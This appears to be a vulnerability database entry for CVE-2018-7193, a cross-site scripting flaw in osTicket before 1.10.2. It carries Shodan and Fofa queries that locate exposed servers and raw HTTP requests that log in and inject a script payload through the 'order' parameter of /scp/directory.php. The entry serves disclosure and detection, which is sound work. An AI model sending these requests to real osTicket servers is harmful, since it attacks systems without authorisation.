🔙 목록으로 돌아가기

CVE-2018-7193: osTicket < 1.10.2 - Cross-Site Scripting

TitleosTicket < 1.10.2 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
RemediationUpgrade osTicket to later version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.00533
CVE IDCVE-2018-7193
CWE IDCWE-79
Shodan Querytitle:"osTicket"
Fofa Querytitle="osticket"
Tags cve cve2018 osticket xss authenticated vuln

🔍 Vulnerability Description

Cross-site scripting (XSS) vulnerability in /scp/directory.php in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the “order” parameter.

🌐 HTTP Request

GET /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

__CSRFToken__=KWjoMd&do=scplogin&userid=kYiwSC&passwd=iSMHfa&ajax=1
GET /scp/directory.php?order="><script>alert(document.domain);</script>&sort=dept HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7193.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7193.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A